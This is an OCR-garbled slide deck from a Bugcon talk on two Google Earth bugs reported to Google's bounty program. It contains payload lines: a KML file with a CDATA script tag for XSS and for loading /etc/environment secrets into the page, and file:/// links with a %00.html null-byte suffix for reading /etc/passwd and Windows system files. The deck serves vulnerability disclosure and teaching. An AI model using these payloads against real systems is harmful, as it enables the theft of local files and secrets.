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[Historias del programa de Google VRP]

by omespino@bugcon :~/cdmx$



whoami

omespino@durivacon:~/cdmx$ id omespino@durivacon:~/cdmx$ cat hitos.txt

Omar Espino aka @omespino [ M E X I C O ] fui publicado en el blog de P
chema alonso "un informatico '“ﬁg

por las mafianas: del lado del mal” ~

« infrastructure & security director at

SRAX reconocido por / salén de la fama de

+ background: unix* lover, backend & seguridad informatica:
mobile developer

’ Gomghs 4
por las noches: {F <~/
+ investigador de seguridad informatica f Google ‘ ‘ M @(“b

independiente

ﬂ%
- cazarrecompensas (bug hunter) =& Microsoft y Q:‘: 4 UU
¥

blog personal:
https://omespino.com

twitter: @omespino = = Rt
libro: Bug bounty en espafnol amazon
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agenda

omespino@bugcon:~/cdmxS cat agenda.txt

« Introduction

+ Case study no.1
Case study no.2

+ Lessons learned

- Q&A
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All information included in this medium is for educational and
professional purposes, in no case Bugcon or neither I, are
responsible for any misuse of this information.
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introduction

[ motivation: challenge, fun and profit |

And everybody is using nuclei, ffuf and httpx,
with --max-threads=160,000,000 ha!
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CASE STUDY
NO . 1
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Google Earth /etc/environment
extiltration



Google Earth /etc/environment exfiltration

Part @ - XML everywhere

wg x P EH'

SOAP REQUEST

Anti recon by omespino@bugcon:



Google Earth /etc/environment exfiltration

Part 1 - KML / KMZ files

<?xml version="1.0" encoding="UTF-8"7>
<kml xmlns="http://www.opengis.net/kml/2.2" xmlns:gx="http://www.google.com/kml/ext/2.2" xmlns:kml="http://www.opengis.net/kml/2.2" xmlns:atom="
http://www.w3.0rg/2005/Atom">
<Document>
<name>NAME</name>
<StyleMap id="m_ylw-pushpin">
<Pair>
<key>normal</key>
<styleUrl>#s_ylw-pushpin</styleUrl>
</Pair>
<Pair>
<key>highlight</key>
<styleUrl>#s_ylw-pushpin_hl</styleUrl>
</Pair>
</StyleMap
<Placemark>
<name>placemark</name>

Main format on Google Earth files is KML/KMZ —> XML
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Google Earth /etc/environment exfiltration

Part 2 - <script> tag inside <![CDATA[]]> tag

<P lacemark>
<name>placemark</name>
<description><! [CDATAI
<script alert('XSS')</script>
]1></description>
<stvleUr1>#m vlw-pushpin</stvleUrl>

In some contexts, CDATA can load <script> tags —» XSS

Location (Context):
file:///Users/omespino/Desktop/etc_environment.kml
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Google Earth /etc/environment exfiltration

Part 3 - /etc/environment on linux has javascript format

Since Google earth has file:/// context, you can load /etc/environment as JS file with the
<script> tag

<script src=filet../uu/eo/uu/e/us/../€LC/ENVironment></script>

File: /etc/environment

PATH="/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin"
JAVA_HOME="/opt/jre/bin"

SUPER_SECRET_VAR="TOP_SECRET"

4 AWS_KEY="OWNED"

(S

And then the vars are loaded in the DOM and you could sen them wherever you want.

* In macOS does not work because quotes, only in did work in Linux

Anti recon by omespino@bugcon:~/cdmx$



Anti recon by



Google Earth /etc/environment exfiltration

Actual
report

OPs2poms 3

Anti recon by omespino@bugcon:~/cdmx$


http://www.youtube.com/watch?v=ZMBbnALLRjU

Google Earth /etc/environment exfiltration

10S/Android
(html5 apis)
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http://www.youtube.com/watch?v=2OKXDyfOhHk

CASE STUDY
NO. 2
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Google Earth arbitrary local
file read on Windows, Linux
and macO0S



Google Earth arbitrary local file read

Part 1 - Any polygon has information and description with HTML support, only "safe" tags
like rich text, hyperlinks or even images

It has a simple Safari webview sandboxed and sanitized
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Google Earth arbitrary local file read

Part 2 - If you select "Add local image", it uses file:/// schema, so if you combine hyperlinks
with file:///, you should be able to navigate to any local file, but no so fast

adV eime

Arbitrary File Local Read
http://bugcon.ora/

Name: |Arbitrary File Local Read

9 Allow
Sh

Addlink..  Addwebimage..  Add local image... 506 Web Inspector -

Elements  Reso Network  Sources  Timeline  Profiles  Audits |
© Failed to load resor e load interrupted by policy change
>

un/Desktop/logo_bugcon_2022.jpeg" |

Q © <topframe>¥ <page context>v (1]

There is a policy that blocks any file to be loaded, after some testing I was able to load
successfully images files (jpg, png, gif) and HTML files
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Google Earth arbitrary local file read

Part 3 - So here it comes, our friend NULL byte (URL encoded %00) to the rescue, since it loads
any file that ends in .html, it would be able to load file:///etc/passwd%00.html

<« Back to Google Earth file:///etc/passwd. ( @ Open In Google Chrome

## # User Database # # Note that this file is consulted directly only when the system is running # i ngle-user mode. At other times this information is provided by # Open Directory. # # See
?ed User:/var/empty:/usr/bin/false root:*: System Administratorz/var/root:/bin/sh
tocol/var/ /spool/uucp isr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
25 Install Assistant:var/empty-/usr/bin/false _Ip: rinting Services:/var/spool/cups:/usribin/false
—postfix:*:27: 'ostfix Mail Serve lspoollposﬂlx!usr/bmﬂalse scsd:*: ervice Configuration Service:) Nar/emply 32:32:Certificate Enroliment
Serv:ceJvarlemp!ylusrlbmnalse _appstore:*:33:33:Mac App Store Servneewar/dblappstorelusrlbl n/false _mcxal r
_appleevent 5:AppleEvents Daemon:/var/empty:/usr/binffalse _gex eo Services Daemon:/var/dblc eod/usrlbm/la Ise
Name: Arbitrary File Local Read Dncumenlatlonlvar/emp isr/binffalse _sandbox: g i ! mDNSResponder.NarIemp\y/usrlblnllalse ard.
Desktop:Avar/empty:/ust/bin/false Wi ide /Ll i 71:Apple Events User: lvar/empty/usr/bmﬂalse
Allow this folder to be expanded ServerNar/emptyJusrlbmﬂalse SV g 2 i _m SQL Server]varlemplylusr/bmnal sshd. 75:ssl
Show contents as options (radio button selection) eparation:/var/emp! i e cyru: Cy! e P/ in _mailma 78:Mailman

- - *:84:1 87 pplication Owner:Avar/emp
Style, Color ~ View  Altitude wserver:*:88:88:Wind z ty:/ust T 89:89:Spotlight: jusr/bin/false (okend *:91:91:Token Daemon: arlempty/usrlbmllalse
:92:92:SecurityAgent:Avar/db/securityagent:/usr/bin/false _calendar:*:93:93: alendsr}vavlempwlusrlbn/l
Add link... Add web image... Add local image... 3 4:TeamsServer:/var/te: msserver/usrlbm/fslse _update_sharing: Update Sharing:/ Narlempry Jusr/binffalse _installer:*:96:-2:I stallerjvarlempty/usr/blnnalse
:97:97:ATS Server:Nar/empty:/usribin/false _ftp:*:98:-2:FTP Daemon/var/empty!usrlbml(al _unknown:*:99:99:Unknown User:~var/empty:/usr/bin/f:
. . :*:200:200:Software late Senll:eJvarldb/soﬁwaveupdate/usrlblnllalse coreaudiod:*:20: 20201: Audio Daemon:~var/empty:/usribinffalse
<a href="https://bugcon.org/x">http:/[bugcon.org/</a> = ScreensaverIvar/emptyjusr/hlnllalse locationd:*:205:205:Locati nDaemon/varIdb/Iucaﬂond /usr/mn/lalse _trustevaluationagent:*:208:208:Trust Evaluation
i § . \g r/emmy jusr/bin/false _timezol “AutoTimeZoneDaemon ar/empty:/usribin/false _lda Delivery Agent:/var/empty-/usr/bin/false _cvmsroot:*:212:212:CVMS
"max-width:500px;" src="file://[Users/sun/Desktop/logo_bugcon_2022.jpeg"> Root sr/bin/false usbmux 13 13 Phone OS Device Helper:Avar/db/lockdown:/usr/bin/false doveoot Dovecot Administrator:/var/empty-/usr/bin/false
i 1 1 Kerberos Ticket Grammg
/lfetc/passwd%00.html">etc_passwd</a> "
Semoelvavlsmmy/usrlbmnalss _devicemg 20:220:Device Management Server:var/empty:/usr/binfialse _webauthserve
2 22:Ne(BlOS :Nvar/empty:/usr/bin/false _warmd:*:224:224:Warm Daemon:/var/empty:/usr/bin/false _t dovenul 7: cNec
letwork Statistics Daemon:/var/empt srlbmlialse avbdeviced:*:229:-2:Ethernet AVB Device Daemon: arlemptylusrlbm/false krb )_krbtgt:*:230:- .Open Directory
Kerberos Tu:kel Gramlng Ticket:var/empty:/usr/bin/false _krb_| kadmin: :Open Directory Kerberos Admin Service:/var/empty:/usribin/false _krb_cl ngepw :232:-2:0pen Directory
Kerberos Change Password Service:ar/empty:/usr/bin/false krb kerbems. 35 2:0pen Directory Kerbemslvarlemp‘y/usr/blnllalse krb_anonymous:* en Directory Kerberos
Anonyrm:us./vav/empty/usrlbmﬁalse _assetcacl 235:235:Asset Cache Service: ar/empz :lusr/binffalse _coremediaiod:*:236:236:Core Media I Daerrwnlvar/emp(ylusr/hlnlhlse
rvice: |aunchservu:esd/varempiy!usllbmlfalse iconservices: :IconServices:/var/empty:/usr/bin/false _distnote:*:241:241:| :ar/empty:/usr/bin/false
nsurlsesslond. .242 242 NSURLSession D: emon :Nar/db/nsurlsessiond:/usr/bin/false _displa) ,%pollcyd :244:244:Display Policy Daemonhav/empty!usrlbmﬁalse astris
Services:/var/db/astri Jusv/bln/lalse krbfast:*:246:-2:Kerberos FAST Account. Ivarlsmply/usv :247:247:Game Controller Daemon:/var/empty:
49 demand:/usr/bin/false _xserverdocs:

proxy: xy
54:Find My Device Daemon:Avar/db/fi findmydevice:/usr/bin/false _datadetectors:*:257:257 | Da(aDe(ectorsIverldbldatadetec(ovslusrlbnl' Ise
igent:/var/empty:/usr/binffalse _ctk 59:259:ctkd Account:/var/empty:/usr/binffalse _applep: 260:260:applepay Account:/var/db/applepay:/usr/binffalse
:262:262:CoreMedia [O Assistants User:: Nar/db/cmmdalassnslams Jusr/bin/false
ytl alglcs DaemonJvarIdblanalymxdlusrlbmﬂalse _fpsd:*:265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync
Daerm:n/var/db/hmedjusv inffalse _nearbyd:*:268:268:Proximity and Ranging Daemon:ivar/db/nearbyd:/usr/bin/faise
_reportmemoryexception:*:269:269:ReportMemoryException:/var/db/reportmemoryexception:/ust rlbln/false _driverkit: :270:DriverKit:var/empty:/usr/bin/false
“diskimagesiod:*:271:271 Diskimages IO Daemon:ivar/dbidiskimagesiod:/usriin/false _logd : mon:/var/db/diagnostics/usr/bin/false _appinstalld:*:273:273:App Install
Daenmnlvar/dhlapplnslalld jusr/binffalse _installcoordinationd:*:274:274:Install Coordination onNavdbﬁns(alleoordlnamnd'lusr/bm/!alse_demo :275:275:Demo
Daemon:/var/empty-/usr/binffalse _rmd:*:277:277:Remote ManagememDaemonlvarldblrmd/usrlbmllalse accessoryupdater:*:278:278: ssory pd te
Daemon/var/db/accessoryupdater:/usrbin/false knowl jlegraphd:*:279:279:Knowledge Graph Daemol /db/knowledgegraph Jusr/binfalse _coreml:*:280:; ZBOCoveML
Services:/var/empty:/usr/binffalse _sntpd:*:281:: erver Daemon:/var/empty:/usr/bin/false _trustd: 2:282:trustd:/var/empty:/usr/bin/false _darwindaemon:
Daemon:/var/db/darwindaemon-/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:~var/empty:/ Iusr/blnllalse _oahd:*:441:441:0AH DaemonJvarlempty/usr/bmllalse

It worked on Linux and macOS with file:///etc/passwd%00.html
And Windows with file:///c:/windows/system32/drivers/etc/hosts%00.html
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Google Earth arbitrary local file read
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http://www.youtube.com/watch?v=HBk8DaRCCFE

lessons learned

omespino@bugcon:~/cdmxS cat lessons_learned.txt

- focus

- face your apps (fears) directly, almost nobody goes directly to
the target instead poking hundreds subdomains

- keep it simple never underestimate the basics
- think outside of the box (I know, such a cliché)
* do not rush - it take times

« avoid burnouts - go outside, hang up with family and friends

read read read read read read (twitter #bugbounty #writeup)
repeat
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HYUMED

GRAZIE ARIGATO DANKE
DANKON eaTe
THANK YOU

I
MERCI XIEXIE
AL T CNACUKBO
GRACTAS
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